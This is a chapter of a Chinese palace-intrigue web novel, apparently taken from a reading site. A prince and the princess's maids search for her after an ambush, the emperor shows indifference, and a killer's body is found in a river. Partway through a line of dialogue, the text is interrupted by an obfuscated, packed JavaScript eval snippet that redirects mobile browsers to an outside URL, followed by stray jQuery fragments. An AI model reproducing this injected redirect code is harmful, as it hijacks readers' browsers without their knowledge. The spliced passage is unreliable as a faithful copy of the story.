默认冷灰
24号文字
方正启体

33. 第三十三章

作者:几因本书字数:K更新时间:
    “你说什么?!”安景棋猛地拍着桌子站起来,不可置信道,“你再说一遍?!”


    眼前的人见状,蓦地跪下,“世子,是属下办事不力。”


    “你办事不力?!”安景棋闻言,立刻发了疯似的,“你怎么有脸说得这种话出来?!”


    “世子,属下知罪,望殿下责罚!”


    “我责罚你又有什么用?!难不成我责罚了你,她便能……她便能……”


    话到此处,安景棋再言语不了一样,噤了声,良久也未能开口。


    安景棋看着眼前跪着的人,正是几日前被他派过去护送九方清的护卫,他静了半晌,方才道:“我问你,你们可搜寻仔细了?”


    那护卫不无悲叹道:“属下们都一一搜了,只差没把那林子翻过来了,遍寻了那个地方,竟无一踪迹。”


    “最后是在什么地方见到的?”


    听罢,那护卫只不知该如何作答,迟疑着斟酌了片刻,道:“是,是在一处河岸……”


    “河岸?那可见到她人了?”


    “不曾,只,只见到了安合殿下……安合殿下的随身之物……”


    安景棋一错不错地盯着他,问道:“然后呢?”


    护卫总不能说再没有然后了,纠结良久,最后只答道:“属下们下了水,将近处的河里也仔细查看了,最终,也没能发现安合殿下的踪迹。”


    “没能发现踪迹?”安景棋冷静了不少,这才察觉到护卫话里有哪些地方不对,“你们不是时时刻刻跟着她?”


    “世子饶恕,在那伙贼人追赶的时候,有不少人都分头走散了,最后只有属下一人跟在安合殿下身边,然而临了也坠了马,最终没能跟上殿下。”


    安景棋讶异道:“你的意思,是最后唯她一人,被那贼人追着走了?”


    “属下知罪!望殿下责罚!”


    安景棋劈手夺过桌子上茶壶,施力掷在了那护卫跟前,“你知罪有什么用!我责罚你又有什么用!”


    说罢,他怒冲冲地三步并作两步行至对方身前,又叱道:“既没寻到,还不赶紧吩咐人去找?!”


    护卫劈头盖脸承了一顿骂,正要领了命出门去办,路走到一半,却又被安景棋叫住了,“慢着。”


    安景棋好歹脑子还不曾完全被气冲得糊涂,静了片刻后忽而想起来,“她同你们嘱咐过什么不曾?”


    “说过了,安合殿下吩咐了众人一同去城郊,世子您的庄子上汇合,说若三日内……”


    安景棋重复道:“三日……”


    护卫回道:“……眼下,已是第四日了,而那庄子上,至今日,也不曾传来过任何消息。”


    安景棋长长叹了一口气,几乎是跌坐回了椅子上,他良久无言,最后带了些颤声,吩咐道:“打发人,再回到原处去细细查找一番。”


    “是。”


    宫内,皇帝身边的总领太监着急忙慌地进了明和殿,张皇跪下了,手上架着拂尘只抬头瞧着皇帝,慌道:“皇上!皇上!可不好了!”


    皇帝还在批着折子,头也没抬,训斥了他两句,“愈发没规矩了,有什么话,不知道好好说?”


    公公先是称了声知错,随后便再急道:“皇上,可不好了,路上传来消息,安合殿下,她,她……”


    “你年纪大了,话也竟说不利索了,她怎么了?”


    “安合公主的车马才出了京城,行至城郊的一处林子间,竟遇上了不知从哪窜出来的一伙贼人,将,将公主殿下……”


    皇帝闻言,这才抬起头来,“将安合怎么了?”


    太监犹疑了好一会儿,最后只说道:“……眼下安合殿下活不见人死不见尸,只怕是凶多吉少啊!”


    皇帝并没有表现出什么激烈的情绪,甚至连理都不想理此事,但碍于皇家体面,他最后最后好歹是简单嘱咐了一句,道:“赶紧吩咐人过去,好好查查这究竟是怎么一回事。”


    公公听了这话,先是震惊于皇帝的冷淡反应,随即,他偷觑了一眼御座上的天子的神情,由此瞬间想明白了些什么,再没多言半个字,轻声退了出去。


    公公从殿内退出来,立刻有人上前来打听殿内的情况,问他说皇上什么反应,又问他道此事该如何去办。


    公公没有立时理会,抬头望了眼阴沉的天,没头没尾地说道:“看这天,就快要下雪了不是?”


    那旁边的小太监都快急疯了,双手一拍大腿,“哎呦,公公您可快别管下不下雪的了,您快说这事该怎么办吧?”


    公公恨他是个没脑子的,偏过头去瞧他一眼,道:“怎么办?你说该怎么办?人死不能复生,此事还能怎么办?”


    那小太监一听,当即愣住了,过了半晌,他忙不迭低下声音来,“您的意思是……”


    公公再没张口,又横了他一眼,“还不快些住口,待会儿若说出些不该说的来,当心掌你的嘴。”


    小太监闻言,连象征性地拍了几下自己的脸,“小的多言,小的该死,只是,小的实在蠢笨,还请公公给指条明路,也好让小的死得明白些。”


    公公听罢,嘴里“啧”了一声,“活不见人,死不见尸,那这人便是丢了,如此下落不明,还不快打发人去找。”


    那小太监不言语,气得公公骂了他一句,“糊涂东西,丢了的人,找到便找到了,若找不到,那便一直找,左右皇上吩咐了,要‘好好’查查这是怎么一回事。”


    小太监听了,沉默片刻,随即竟低低笑了起来,称:“是,小的明白了。”


    天上终于落下了第一片雪花。


    华若伸出手来接,雪花凉凉的,却比不得心冷。


    “已经第四日了,华若姐姐,你说……”


    华若将手缩回斗篷里,“临行前殿下吩咐了,要我们在此地等三日,若三日后还不见消息,就叫诸人拿了身契各做打算。”


    “亏得殿下是提早做好了打算,这才叫前几日夜里死伤无多,”侍女说着,揩起泪来,“眼下在宫外采买的人都走完了,世子殿下着意添的人手也都回去王府了,如今这庄子里,只剩咱们几个跟着殿下从宫里出来的了。”


    华若回过头来劝她,“星若,你们也都早日离去吧,多为自己打算,留在此地终归不是长久之计。”


    星若闻言,蹙了眉,忧愁问她道:“华若姐姐,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037125|194619||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那你呢?”


    “我?”华若道,“我再,我再多等上几日,我一个人,不算显眼的。”


    两相无言,良久,星若迟疑着试探道:“华若姐姐,你说殿下她该不会……”


    华若直接道:“住口。”


    语毕,她顿了片刻,又道:“世子派来的人手已回王府去了,想必世子已然知道了这个消息,不日应会遣人过来仔细探查,还有宫里,大内那边,想来也不会对此不管不问,不论是死是活,我总归是要亲眼瞧见了殿下,才能罢了主意。”


    星若才欲张口再说些什么,却忽而只见不远处又有一名侍女慌忙跑过来,她到了跟前,气还没喘匀,便急忙说道:“两位姐姐,世子殿下来了。”


    华若走到正厅里,对安景棋行了一礼,“世子安好。”


    安景棋火急火燎的,也不在乎什么虚礼,对她道:“快起来,你们殿下最后说了什么做了什么,一五一十地全部细细告知于我。”


    华若便将那日夜里九方清离开前的事全部对安景棋说了,与护卫所言相差无几,安景棋听罢,又皱着眉叹息起来,“已叫人日夜不停地找了三四日,一无所获,我过来前,去探了皇上的口风,他的意思,似乎是不想在此事上费力。”


    听罢,华若当即跪在了安景棋身前,叩下头去,“奴婢求世子、求世子……”


    安景棋立刻道:“你快起来,这自是不必说的,其实我一早便该过来,当日他们去府里回禀我,我担心引人注目,由此坏了你们殿下心中的某些考量,故而没有唐突前来,只是没成想,如今已……”


    他说罢,又回过头来问华若道:“罢了,多说无益,那伙贼人有什么特征?你可还能记住?”


    “夜色深重,奴婢只看清那些穿着黑衣蒙着面,其他的,倒是一概不知。”


    听罢,安景棋沉吟片刻,“他们那些衣物上,可否——”


    不及他将话说完,外面又急匆匆窜进来一人,禀报说:“世子,那河里,捞上来一具尸体!”


    “什么?!”


    二人异口同声,华若当即难以置信地转身看了过去,顿时不寒而粟。


    那厢安景棋猛地站起身来,一瞬间好似心也不跳了,血也不流了,耳边只剩下了嗡嗡的耳鸣声响,他盯着来报的那人,一时间竟忘了如何开口。


    过来回话的人见状,立刻补充说道:“世子别着急,那尸体是一具男尸。”


    男尸,显而易见那不是九方清。


    然而安景棋的心依旧高高悬着,连追问道:“那尸体有什么特征?”


    “那尸体全身黑衣,没有蒙面,面罩像是被人摘了下来,左右两臂各分别有一处贯穿伤口,右臂伤口是一柄窄剑造成,里面血肉溃烂得不成样子,应是被人剜过,左臂则与右腿一样,是被箭贯穿,箭头还留在两处伤口之中。”


    “他是怎么死的?”安景棋心内有些疑虑,问道,“溺水?”


    “不。”


    回话的人摇了摇头,道:“此人死因,是被人一剑割了喉,下手干脆利落,另外,这尸体还被人绑了重石,因此得以沉入水中。”


    下手果真狠绝。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)